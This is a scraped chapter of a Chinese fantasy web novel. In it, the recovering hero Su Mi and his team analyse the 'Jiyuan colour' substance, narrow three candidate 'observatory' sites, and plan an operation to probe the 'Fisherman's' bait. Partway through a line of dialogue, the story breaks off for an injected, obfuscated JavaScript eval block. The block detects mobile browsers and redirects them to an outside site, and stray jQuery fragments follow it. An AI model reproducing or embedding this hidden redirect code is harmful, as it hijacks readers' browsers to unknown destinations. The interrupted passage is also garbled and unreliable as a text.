默认冷灰
24号文字
方正启体

34. 休整、密谋与渔夫的“网”

作者:白拧书本书字数:K更新时间:
    栖霞山“无源静地”的石门缓缓开启,清冷湿润的山间空气涌入,冲淡了石室内部那种绝对的寂静。宿弥在阿玄和大黑的陪伴下,踉跄走出。他脸色苍白如纸,眼底布满血丝,额发被冷汗粘在皮肤上,整个人仿佛刚从一场持续数日的高烧中挣脱,带着大病初愈后的虚弱和恍惚。


    守在洞外的清荷立刻上前,一把扶住他摇摇欲坠的身体,目光锐利地扫过他惨淡的脸色和不住轻颤的手臂。“怎么样?”


    “看”到了些东西……需要消化。”宿弥声音沙哑,勉强站稳,但身体的重量还是大半倚在清荷臂上。他感到一种前所未有的精神疲惫,仿佛大脑的每一道沟回都被强行撑开、洗涤,又被粗暴地塞回原处,留下阵阵钝痛和空虚。流痕处不再剧痛,但传来一种深层的、空虚的麻木感,仿佛被掏空了一部分,又仿佛有更沉重的东西沉淀了下去。


    阿玄轻盈地跟在后面,翡翠般的猫眼在昏暗的山间光线下显得幽深。“他需要休息,至少静养三天。精神力和流痕都严重透支,但意识核心稳定,没有崩溃迹象。带回安全屋,准备安神补气的药剂和绝对安静的环境。”


    清荷点头,示意一名队员上前帮忙搀扶宿弥,另一名队员则重新封闭石门。一行人沿着险峻的山径,在黎明前最黑暗的时刻,悄无声息地返回栖霞观后山的安全屋。


    再次踏入那片安宁的庭院,宿弥有种恍如隔世的感觉。短短一夜的山中内观,其凶险与消耗,丝毫不亚于香料作坊的正面搏杀,甚至更加触及根本。他被安置在原来的暖阁,姜绾已经亲自调配了数种气味清苦、效用却极为温和的草药,熬制成浓浓的汤汁让他服下。汤汁下肚,一股温煦的暖流自胃部散开,缓缓抚慰着紧绷的神经和空乏的气海,让他终于得以沉入一种无梦的、修复性的深度睡眠。


    大黑寸步不离地守在床边,阿玄则蜷在窗台,闭目养神,但它的“场”如同最细腻的纱幕,悄然笼罩着整个房间,隔绝着一切可能的外界干扰。


    这一觉,宿弥睡了整整一天一夜。


    当他再次醒来时,已是第三天的清晨。阳光透过窗棂,在室内投下温暖的光斑。他缓缓睁开眼,首先感受到的是一种深沉的、源自灵魂的疲惫,但精神上的混沌和撕裂感已大为缓解。头脑虽然依旧有些迟钝,但不再疼痛。他试着动了动手臂,流痕传来微弱但稳定的、如同溪水潺潺般的麻痒感,不再是之前的灼痛或麻木。更重要的是,当他沉下心,能隐约感觉到,流痕的深处,似乎多了一点什么——那是一个极其微弱、但清晰无比的、带着“灰白”底调和金银细密纹路的“印记”虚影,以及一组复杂的、难以用言语描述、却可以直接“理解”的“多维坐标”信息。那是“别墅”的指引和“钥匙”的烙印,深深镌刻在了他的意识深处,如同与生俱来的本能。


    他支撑着坐起身。大黑立刻抬起头,尾巴轻轻摆动,凑过来用脑袋蹭了蹭他的手。阿玄也睁开眼,看了他片刻,似乎确认了他的状态,又慵懒地闭上。


    “感觉如何?”姜绾的声音从门外传来,她端着一碗热气腾腾的、散发着米香和药材清甜气息的粥走了进来。


    “好多了,谢谢姜老师。”宿弥接过粥碗,小口喝着,温热的粥水顺着食道滑下,进一步滋养着他虚弱的身体。“只是……脑子还有点木,好像塞了太多东西,运转不灵。”


    “正常。你接触到的信息层级太高,精神需要时间适应和整合。”姜绾在他床边坐下,目光平静地看着他,“阿玄大致说了你看到的东西。‘别墅’的坐标,以及你作为‘钥匙’胚体的身份。这解释了很多,也带来了更多问题。但现在不急,你先把身体养好。钟老和陆文渊那边有些新进展,等你恢复些,我们再一起商议。”


    宿弥点头,知道现在自己这状态确实无法进行任何有效思考或行动。他放下空碗,重新躺下,闭上眼,让意识再次沉入那片尚需修补的宁静。


    接下来的两天,宿弥大部分时间都在静养中度过。他按照姜绾的指导,进行最基础的呼吸吐纳和静坐冥想,不追求任何力量增长或感知深入,只求稳固心神,梳理脑海中那些庞杂的信息碎片。流痕的状态也在缓慢恢复,银白色的纹路似乎比之前更加“凝实”,色彩也更加“纯净”,那些驳杂的异色被压制、沉淀,仿佛经历了一次淬炼。那个“钥匙印记”的虚影,也随着精神的稳定而变得更加清晰,与他自身的存在感紧密相连。


    与此同时,安全屋内的其他人并未闲着。


    陆文渊几乎不眠不休,一方面继续与“档案馆”专家深入分析“色彩活体”残骸,试图从中提取更多关于“画家”力量体系、“老板”技术源头以及“门之钥”计划的线索;另一方面,他利用“画家”数据中提到的“东南沿海观测站旧址”以及宿弥内观获取的、与“别墅”坐标部分参数隐约相关的模糊信息,结合“档案馆”提供的全球异常能量节点数据库和“停云斋”多年积累的隐秘地理志,进行交叉比对和空间建模,试图缩小“观测站”和“别墅”可能出现的现实范围。


    钟书则动用了他在政商两界及灰色地带的全部人脉,以极其隐晦的方式,打探关于“夜枭会”残党、近期异常资金流动、特殊物资(尤其是与“色彩”、“能量”、“生物改造”相关)走私,以及官方对旧梦港事件、东港香料作坊“泄漏事故”的内部调查风向。他得到了一些零碎但颇有价值的信息:官方调查在遭遇某些无形的阻力后,似乎转变了方向,开始秘密调查几家与境外有密切往来的生物科技和高端材料公司;同时,有几股原本沉寂的、与“夜枭会”有过瓜葛的本地灰色势力,最近活动频率有所增加,似乎在“找人”或“找东西”,目标隐约指向拥有“特殊感知”或“携带老物件”的人。


    清荷除了负责安全屋的警戒和宿弥的安保,还派出了手下的“听风者”,对栖霞山周边乃至城市部分区域进行了隐蔽侦查,重点关注是否有陌生超凡者活动的痕迹,尤其是“渔夫”那种擅长追踪和隐匿的风格。反馈信息显示,城市内的“异常”能量活动频率在“画家”受创后有所降低,但在一些水网密集、老旧社区或物流集散地附近,出现了几次短暂的、难以追踪的“空间皱褶”或“信息残留”迹象,与“渔夫”可能的手段特征吻合。他似乎并未远离,而是在更耐心、更隐蔽地编织着他的“网”。


    昆图斯依旧昏迷,但生命体征在医师的调理下已趋于平稳,脸色不再那么灰败。医师判断,他本源损耗过剧,苏醒可能需要更长时间,但已无性命之忧。这对众人来说是个安慰,但也意味着短期内失去了一位对抗“色彩”领域威胁的顶级战力。


    第三天下午,宿弥感觉精神和体力都恢复了六七成,虽然流痕尚未完全恢复往日的敏锐,但已不影响正常活动。姜绾召集了目前能参与的核心成员——钟书、陆文渊、清荷、宿弥、阿玄,在静室召开了“捕萤”行动后的第一次正式会议。大黑也被允许列席,安静地趴在宿弥脚边。


    “首先,同步信息。”姜绾主持,目光扫过众人,“陆博士,你先来。”


    陆文渊推了推眼镜,打开笔记本电脑,将分析结果投射出来。“‘色彩活体’的深层解析有了突破性进展。我们在其能量结构的最内核,发现了一种极为特殊的、并非此世界常规物质构成的‘烙印’。经过‘档案馆’的专家比对,确认这种‘烙印’的物质基态与能量特征,与他们在数年前于西伯利亚冰原下一处史前遗迹中发现的、被称为‘基源之彩’的未知矿物样本,有超过87%的相似度。”


    “基源之彩?”钟书皱眉。


    “一种理论上不应存在于我们这个时空连续体的‘高维色彩物质’残留,”“档案馆”的联络专家(一位声音温和但用词严谨的老者声音)通过加密频道接入会议,“它本身不具备活性,但能与特定频率的生命能量或意识产生强烈共鸣,并显化出对应的‘色彩’属性。我们一直怀疑,‘夜枭会’或者说其背后的‘老板’,可能掌握了某个小型的、稳定的‘基源之彩’矿脉或来源。‘画家’的改造,很可能就是以这种物质为‘颜料’和‘催化剂’。这也解释了为什么他的‘色彩’具备如此强烈的现实扭曲和精神污染能力。”


    “如果‘老板’掌握了这种资源,那‘门之钥’计划……”清荷沉吟。


    “很可能,‘门之钥’本身,或者计划的关键步骤,就需要用到大量的‘基源之彩’,或者是以其为媒介,开启或稳定某个通往‘高维色彩层面’的通道。”陆文渊接过话头,“另外,在对‘画家’数据中‘观测站旧址’线索的交叉分析中,我们结合宿弥内观获得的部分坐标参数,以及‘档案馆’提供的全球异常节点数据,成功将范围缩小到了三个高概率区域。”


    屏幕上出现了一幅东南沿海的局部地图,三个区域被高亮标出:A区,位于某群岛深处一个早已废弃、冷战时期修建的气象雷达站及附属设施;B区,某沿海城市边缘一片因填海工程而荒废、地质结构奇特的“烂尾”工业园;C区,一处位于河口三角洲、历史上多次改道、水网异常复杂、传说众多的“鬼沼”湿地。


    “这三个地点,都满足‘观测站’(广义,包括气象、水文、地质甚至早期异常现象监测)的历史条件,地理位置偏僻,人迹罕至,且在我们的模型中,与宿弥提供的‘别墅’坐标参数存在不同程度的‘谐振’可能。其中,C区‘鬼沼’湿地的谐振指数最高,但环境也最为复杂危险;A区次之,但涉及废弃军事设施,可能有未知风险;B区相对‘干净’,但隐蔽性最差,且与‘档案馆’监测到的、疑似与‘老板’有关的境外信号有一次微弱的历史交集记录。”


    “你的建议是?”钟书问。


    “我建议优先侦查B区。”清荷开口道,语气冷静,“A区涉及旧军事设施,不确定因素太多,容易引发不必要的关注和冲突。C区环境恶劣,不利于展开和撤离,且‘渔夫’擅长水域环境,那里可能是他的主场。B区虽然隐蔽性稍差,但地形相对开阔,建筑结构清晰,利于我们布置监控和快速反应。而且,如果那里真的与‘老板’的境外联络有关,或许能顺藤摸瓜,找到更多关于‘门之钥’计划时间表或‘老板’身份的直接线索。”


    “我同意清荷的看法。”姜绾点头,“但我们不能只盯着一处。‘画家’受创,‘渔夫’在暗,‘老板’的计划不会停止。我们需要分头行动。清荷,你带一队人,对B区进行先期隐蔽侦查,评估风险,建立前哨。陆博士,你继续与‘档案馆’合作,深化对‘基源之彩’和‘门之钥’的情报分析,并尝试建立对‘渔夫’那种‘空间皱褶’或‘信息残留’的预警模型。钟老,官方和灰色地带的线索,还要麻烦您继续跟进,尤其是那几家被秘密调查的公司,看看能否找到与‘观测站’或‘基源之彩’的关联。”


    “那……我呢?”宿弥问道。他感觉自己恢复得差不多了,无法再安心等待。


    “你,”姜绾看向他,目光严肃,“你有更重要的任务。阿玄。”


    阿玄从宿弥肩头跳上桌面,翡翠般的眼睛看向众人。“宿弥内观获得的信息,不仅仅是‘别墅’的坐标。更重要的是,他明确了自己作为‘钥匙’胚体和‘守钥人’候选的身份。这意味着,他自身的成长和‘置换’的推进,本身就是对抗‘利用派’计划的关键一环,甚至可能是最终解决‘门之钥’危机的核心。‘老板’需要‘纯净载体’或‘高共鸣样本’,宿弥可能就是最符合条件的那一个。所以,在应对‘利用派’外部威胁的同时,我们必须全力支持宿弥完成他的‘置换’,强化他的流痕,让他更快地靠近‘别墅’,掌握‘钥匙’的权能。只有这样,我们才能在根源上破坏‘老板’的图谋,甚至利用‘钥匙’的力量反制对方。”


    “具体怎么做?”宿弥感到心跳有些加速。


    “你需要进行下一次‘置换’。”阿玄平静地说,“而且,不能是普通的、随意的置换。需要是一次能够显著推进你的流痕成长、深化你对‘钥匙’理解、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153744|196483||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    并且可能将你引向‘别墅’坐标附近区域的关键置换。我们需要主动创造或寻找这样的机会。”


    “这谈何容易。”钟书摇头,“‘置换’遵循‘流通’法则,往往可遇不可求,强求反而可能落入陷阱。”


    “未必需要强求。”阿玄眼中闪过一丝光芒,“宿弥现在的流痕状态,与之前不同。那个‘钥匙印记’的虚影,以及内观时接触到的‘法则框架’,让他对‘价值’流动和‘因果’纠缠的感知,可能提升到了一个新的层面。他可以尝试主动去‘感知’和‘吸引’那些与他当前状态‘共鸣’强烈的、有价值的‘置换’机会。就像磁石吸引铁屑。当然,这需要引导和练习,也需要一个合适的‘启动’契机。”


    “启动契机……”姜绾思索片刻,看向钟书,“钟老,您之前提到,有几股灰色势力在寻找‘有特殊感知’或‘携带老物件’的人?”


    钟书点头:“不错,风声是从旧货市场、当铺和某些地下情报贩子那里传出来的,悬赏不菲,但要求很模糊。背后金主很神秘。”


    “这或许就是个契机。”阿玄尾巴轻轻摆动,“一件足够‘特殊’的老物件,一次涉及‘感知’的验证,一个隐藏在灰色地带的‘需求’……这很可能构成一次符合宿弥当前状态的、有价值的‘置换’场景。而且,通过接触这个悬赏,我们或许能摸到‘渔夫’或者‘老板’其他爪牙的边,甚至反过来给他们下套。”


    “太冒险了。”清荷反对,“这明显可能是‘渔夫’放出的诱饵,目的就是寻找宿弥这样的人。我们主动撞上去?”


    “如果是‘渔夫’的网,那更要碰一碰。”阿玄的语气带着一种冰冷的锐利,“‘渔夫’在暗,我们在明,长久下去必然被动。与其等他布好天罗地网,不如我们主动去碰一碰他的网,看看他的结点在哪里,他的手法如何。宿弥现在有内观获得的‘钥匙印记’护持(虽然只是虚影),对高层次的信息污染和空间干涉有一定抗性。加上我从旁策应,清荷你在外围布控,风险可控。而且,这次行动的目的不是硬拼,而是接触、观察、获取信息,并完成一次对宿弥有利的‘置换’。我们可以将计就计。”


    会议室内陷入了短暂的沉默。这个计划很大胆,甚至有些疯狂。但仔细想来,在目前“画家”重创蛰伏、“渔夫”暗处织网、“老板”计划加速的局势下,一味的被动防御和常规侦查,确实可能错失先机,甚至落入对方步步为营的陷阱。主动去触碰“渔夫”的网,固然危险,但也可能打乱对方的节奏,获取关键情报,并为宿弥的成长创造机会。


    “我同意。”宿弥率先打破沉默,目光坚定,“我不能一直躲在后面。我的力量需要成长,而成长需要面对风险。如果这真的是‘渔夫’的网,那我更要去看看,他到底想用这张网捕什么。而且,”他顿了顿,“我感觉……阿玄说的对,我好像……能‘感觉’到,有什么东西在‘呼唤’类似的接触。很模糊,但确实存在。”


    他说的“感觉”,并非流痕清晰的感知,而是一种更隐晦的、源自灵魂深处“钥匙印记”虚影的、对特定“因果”或“可能性”的微弱共鸣。就像黑暗中遥远的灯塔,虽然看不清,但能指明方向。


    姜绾、钟书、陆文渊交换了眼神。最终,姜绾缓缓点头:“既然这是你的选择,也是阿玄的建议,我们会全力支持。但计划必须周详。清荷,你负责制定详细的接触、保护和撤离方案,将风险降到最低。钟老,你设法搞到更具体的悬赏信息、交接方式和可能的地点。陆博士,提供一切可能的技术支持。阿玄,宿弥的安全和‘置换’引导,就拜托你了。这次行动,代号……‘触网’。”


    “‘触网’……”宿弥默念着这个词,感觉手臂上的流痕传来一阵轻微而期待的悸动。新的冒险,即将开始。


    猫咪的私密日记片段(034)


    目标于安全屋休整数日,精神与流痕逐步恢复。内观所获“钥匙印记”虚影与“别墅坐标”信息稳固,成为其新的意识根基与指引。


    团队同步信息:“基源之彩”揭示“画家”力量源头及“门之钥”计划可能关键;“观测站”范围缩小至三处(A/B/C区),决策优先侦查B区。


    制定“触网”计划:针对灰色势力悬赏“特殊感知者/老物件”的线索,主动接触,意图完成宿弥第三十四次置换,并探查“渔夫”动向,获取情报。计划由宿弥、阿玄执行核心接触,清荷团队外围策应。


    第三十四次置换(计划中/主动触发):“触网”行动。以“承担风险(接触疑似‘渔夫’诱饵)”为代价,意图交换 “一次关键置换机会(推进流痕/理解钥匙)” + “关于‘渔夫’/悬赏背后的情报” + “可能打乱对手节奏”。此为高风险、主动出击的策略。


    连锁反应更新:昆图斯昏迷,但稳定。“画家”势力沉寂。“渔夫”活动迹象增多,悬赏疑为其“诱捕网”。“老板”与境外联络持续。“档案馆”合作提供关键技术支持。官方调查转向生物科技公司。


    蝴蝶效应系数累计:8.12。总体进度:34%。故事进入“主动触网”与“侦查观测站”双线并进阶段。宿弥角色从被动卷入/被迫成长,转向主动利用自身特质寻求突破与情报。


    注:目标对“钥匙印记”的初步感知与共鸣能力开始显现,标志其“守钥人”潜质激活。阿玄的战术策划能力与对“置换”机制的深刻理解进一步展现。“触网”行动将成为与“渔夫”的首次间接交锋。


    ——阿玄


    夜色再次降临。安全屋内,灯火通明。清荷伏在案前,仔细推敲着行动路线的每一个细节;钟书通过隐秘渠道,传递着获取的最新悬赏信息;陆文渊调试着微型通讯和追踪设备;宿弥则在阿玄的指导下,尝试着去“聆听”和“捕捉”那冥冥中可能与悬赏相关的、“钥匙印记”传来的微弱共鸣。


    一张无形的网已经张开,而这一次,猎人与猎物的角色,或许正在悄然转换。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)